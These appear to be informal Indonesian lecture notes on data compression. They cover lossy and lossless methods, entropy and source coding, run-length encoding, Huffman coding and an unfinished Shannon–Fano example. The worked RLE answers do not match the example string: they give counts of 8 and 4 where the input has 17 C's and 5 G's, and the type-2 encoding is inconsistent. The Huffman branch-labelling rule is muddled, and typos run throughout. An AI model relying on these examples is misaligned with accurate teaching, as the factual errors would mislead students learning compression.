·         Kompersi data menjadi sangat penting karena memperkrcil kebuthan penyimpanan data , mempercepat pengiriman data , mempertkecil kebutuhan bandwith
·         Contoh teknik kompresi gambar (jpeg , png , Gif ) , audio ( mp3 , AAC , RMA , WMA ) dan video ( MPEG , H261)

·         Jenis kompresi data berdasarkan mode penerimaan data oleh manusia :
- Dialoque Moide : yaitu Proses Penerimaan data dimana pengirim dan penerima seakan
   berdialog ( read time ) , seperti pada contoh video conference.
- Retrieval Mode : yaitu proses penerimaan data tidak dilakukan secara real time.

·        Jenis kompresi data berdasarkan output.
·         Lossy compression
teknik kompresi dimana data hasil dekompresi tidak sama dengan data sebelum kompresi namun sudah “cukup” untuk di gunakan.
biasanya teknik ini membuang bagian bagian data yang sebenarnya tidak begitu dirasakkan , tidak begitu di lihat oleh manusia.
·         Loseless compression
teknik kompresi dimana data hasil kompresi dapat di dekompres lagi dan hasilnya tepat sama seperti data sebelum proses kompresi .

·        Klasifikasi teknik kompresi
·         Entropy encoding
bersifat loseless
teknik tidak berdasarkan media dengan spesifikasi dan katarestik tertentu namun berdasarkan urutan datanya.
statiatical encoding , tidak memperhatikan semantic data
contoh : run – leght encoding , Huffman coding

·         Source coding
bersifat lossy
berkaitan dengan data semantic (arti data ) dan media .
contoh : prediction (DPCM ,DM ) , Transformation (FFT , DCT ), layered coding ( bit position , subsamping ) , vector quantization.
·         Hybrid Coding
gabungan antara lossy dan loseless
contoh : JPEG , MPEG  

CONTOH TEKNIK KOMPRESI TEKS


·         RUN length ENCODING ( RLE )
- Kompresi data teks dilakukan jika ada beberapa huruf yang sama yang di tampilkan berturut”
- Memiliki 2 tipe , yaitu RLE tipe 1 dan RLE tipe 2
- RLE tipe 1 ( menimal 4huruf sama )
- RLE tipe 1 menggunakan tanda “!”
                     Contoh : ABCCCCCCCCCCCCCCCCCDEFGGGGG
- RLE tipe 2 menggunakan tanda negative ( - ) dan psitif ( + )
JAWAB .

- RLE tipe 1 : ABC!8DEFG!4
- RLE Tipe 2 : -2Ab8C-3DEF4G


·       Static Huffman Coding Algorithm
§  Frekwensi karakter dari string yang akan di kompres di analisis terlebih dahulu
§  Selanjutnya di buat pohon Huffman yang merupakan pohon biner dengan root awal yang di beri nilai 0 ( disebelah kiri ) atau 1 ( disebalah kanan ) , sedangkan selanjutnya untuk dahan sebelah kiri selalu di beri nilai 1 dan kanan di ber I nilai 0.
§  A bottom up Approach = frekwensi kecil di kerjakan terlebih dahulu dan di letakan ke dalam leaf ( daun )
§  Kemudian Leaf – Leaf akan di kombinasikan dan di jumlahkan probalitasnya menjadi root di atasnya .
o   Contoh :       MAMA SAYA .
A = 4 -> 4/8 = 0,5
M = 2 -> 2/8 = 0,25
S = 1 -> 1/8 = 0,125
Y = 1 -> 1/8 = 0,125
TOTAL = 8 KARAKTER


Shannon – fano Algorithm

·         Dikembangkan oleh Sannon dan Robert Fano


ü Algoritma
Ø  Urutkan symbol berdasrkan Frekwensi kemunculannya
Ø  Bagi symbol menjadi 2 bagian secara rekursif , dengan jumlah yang kira kira sama pada kedua bagian , sampai Tiap Bagian hanya terdiri dari suatu symbol.

CONTOH = “HELLO”

JAWAB :
Simbol
H
E
L
O
Jumlah
1
1
2
1


Share: